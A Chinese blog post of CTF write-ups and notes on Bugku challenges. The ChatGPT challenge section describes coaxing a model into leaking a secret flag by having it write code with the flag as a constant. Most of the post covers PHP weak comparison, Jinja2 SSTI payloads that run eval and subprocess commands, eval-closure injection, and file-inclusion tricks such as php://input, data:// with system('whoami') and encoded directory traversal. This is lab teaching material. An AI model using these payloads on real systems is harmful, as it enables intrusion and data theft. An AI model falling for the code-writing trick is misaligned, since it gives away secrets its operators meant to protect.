# MISC

# chatgpt-1

本题是在研究 chatgpt 的灵光乍现。 也算是对 AI 安全性的一种测试。 由于是基于 AI 的,所以难度不能保证每个人一致但总体不会相差过大。 做题需要自备 ApiKey(平台承诺不会窃取任何用户的 ApiKey),介意勿开

建立环境后,直接尝试让 AI 告诉我们 flag file

这样看来,题目可能给出了不要告诉用户 flag 之类的 prompt 那么换个方向,chatgpt 本身知道 flag,但是不能直接告诉我们,我们可以让 chatgpt 教我们写代码,然后在代码里面 chatgpt 会把 flag 设置为常量

file

# Web

# php

# "==" 与 is_numeric ()

php 中, ===== 的区别:

  • === 会同时比较字符串的值和类型
  • == 会先将字符串换成相同类型,再作比较,属于弱类型比较
  • == 对于所有 0e 开头的都为相等

弱类型比较示例:

var_dump("admin"==0);  // true
var_dump("1admin"==1); // true
var_dump("2admin"==2); // true
var_dump("ad1min"==1); // false
var_dump("admin1"==1); // false
var_dump("admin1"==0); // true
var_dump(0e1234 == 0e56789); // true

php 的 is_numeric() 函数,判断参数是否为数字或数字字符串 is_numeric() 可以用 %00%20 绕过, %00 无论位于数字前后都返回 False%20 位于数字后时返回 False

# Bugku 矛盾

题目代码

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

# SSTI

SSTI(模板注入)漏洞(入门篇)

# Bugku Simple_SSTI_1

启动场景,题目提示输入 flag 作为参数

file

随便设置一个 flag ,然后结果是把内容原样输出了一次

file

顺便在 F12 里可以看到题目的后端是 Python 写的,然后这个 Werkzeug 可以查到是 Flask 框架里面的一个组件

file

接下来尝试一下模板注入,分别将 flag 设置为 {{2*2}}{{1+1}}

file

file

flag={{1+1}} 的时候报错了,并且会输出整个调用栈,其中可以看到部分函数代码 file 由此可以确定服务器后端是 Flask 框架编写的

由于在 jinja2 中是可以直接访问 python 的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等 首先通过对象的 __class__ 属性获取字典对象所属的类,再通过 __base____bases[0]__ )拿到基类,然后使用 __subclasses__() 获取子类列表,在子类列表中直接寻找可以利用的类

尝试 flag={{().__class__.__bases__[0].__subclasses__()}} 可以获取到 object 的所有子类 file

可以用 __init__.__globals__ 更深入的去看每个类可以调用的东西(包括模块,类,变量等等) python3 中的 int() , eval() 这些函数,都可以在 __builtins__ 中找到

通过下面的代码,找出 __globals__ 中含有 __builtins__ 的类

search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try: # __init__.__globals__属性不一定每个类都有
        print(i.__init__.__globals__.keys())
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass

file

然后搜索这个类名 file 这个类是列表的第 76 个元素,直接通过索引引用

尝试调用 os.listdir() flag={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__'%27']['eval']('__import__("os").listdir()')}} file

读取源代码文件 flag={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('open("app.py").read()')}}

file

从第 5 行可以看到, flag 是通过 subprocess.getoutput('echo $FLAG') 读取的 构造同样的 eval('__import__("subprocess").getoutput("echo $FLAG")')

flag={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("subprocess").getoutput("echo $FLAG")')}}

file

当然在这道题中,从源代码得知 flag 也被存放到了 app.config['SECRET_KEY'] 中,直接读取 config 也可以拿到 flag file

# Bugku Simple_SSTI_2

按照 Simple_SSTI_1 中的方法,首先拿到页面的源代码 file

第 5 行可以看到,这里的 echo $FLAG > flag 把 flag 写到了文件 flag

通过 __import__("os").listdir() 可以看到当前目录下存在 flag 文件 file

直接读取文件内容得到 flag file

# 变量注入

类似下面的 php 代码

<?php
$a = $_GET['a'];
eval("var_dump($a);");
?>

变量 $a 在输入的时候没有做严格过滤,可能存在手动闭合实现任意代码注入

php 单双引号区别:

  • 双引号里面的字段会经过编译器解释,然后再当作 HTML 代码输出
  • 单引号里面的字段不进行解释,会直接输出

双引号里面插入变量,变量后面如果有英文或中文字符,它会把这个字符和变量拼接起来,视为一整个变量 因此,对于这里的 eval 函数的参数字符串 "var_dump($a);" ,假设 $a="abc" ,那么 eval 执行的实际参数是 "var_dump(abc);"

file file

# Bugku eval

访问,看到以下源代码

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>

该页面引用了 flag.php ,所以 flag 应该就写在这个文件里面,并且页面接收一个参数 hello ,然后在下面用 eval("var_dump()") 的方式将变量输出 很明显 hello 没有经过任何过滤,因此可以手动闭合 eval 中的 var_dump() 函数,然后构造一个读取 flag.php 的代码

eval( "var_dump($a);"); // 原始代码
eval( "var_dump(abc);show_source('flag.php');var_dump();"); // 目标代码

最终的 payload 为 ?hello=abc);show_source('flag.php');var_dump( file

# 超级全局变量

php 超级全局变量

有时候可以通过超级全局变量拿到一些隐藏变量值

# Bugku 变量 1

<?php  
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

页面接收输入参数 args ,用正则表达式 ^\w+$ 匹配,匹配成功则打印变量 $$args ,即输入的参数是需要打印的变量名 正则 \w 等同于 [a-zA-Z0-9_] ,特殊符号只能使用下划线,所以无法手动闭合 eval 的内容

尝试查看全局变量 $GLOBALSargs=GLOBALS file

直接拿到 flag

# 文件包含

php 文件包含漏洞详解

# php 伪协议

php://input 需要参数 allow_url_include = On 将 php 代码放在 POST 请求体中传入

index.php
?file=php://input

POST:
<? phpinfo();?>

php://filter 通过指定末尾的文件,可以读取经 base64 加密后的文件源码

php://filter/read=convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=index.php

phar:// 需要 php 版本 >=5.3.0 假设有文件 phpinfo.txt ,内容为 <?php phpinfo(); ?> ,打包为压缩包 test.zip 可以指定绝对路径或相对路径

phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
phar://test.zip/phpinfo.txt

zip:// 需要 php 版本 >=5.3.0 zip 压缩包同 phar,但是只能指定绝对路径,并且将 # 编码为 %23

zip://D:/phpStudy/WWW/fileinclude/test.zip%23phpinfo.txt

data:URI schema 需要 php 版本 >=5.2allow_url_fopen = Onallow_url_include = On

data:text/plain,<?php phpinfo();?>
data:text/plain,<?php system('whoami');?>
data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

# 目录遍历

利用 ../ 来遍历目录,比如

file=../../log/test.txt

服务器通常会对 ../ 进行过滤,可以用其他编码绕过

  • URL 编码 ( \ 对应 %5c )
    • %2e%2e%2f
    • ..%2f
    • %2e%2e/
  • 二次编码
    • %252e%252e%252f

# 长度截断

需要 php 版本 <=5.2.8 Windows 下长度限制为 256 字节,Linux 下为 4096 字节 利用不断重复 ./ 来截断

# 0 字节截断

需要 php 版本 <=5.3.4 利用 %00 字节截断

此文章已被阅读次数:正在加载...更新于

请我喝[茶]~( ̄▽ ̄)~*

2rrrr 微信支付

微信支付

2rrrr 支付宝

支付宝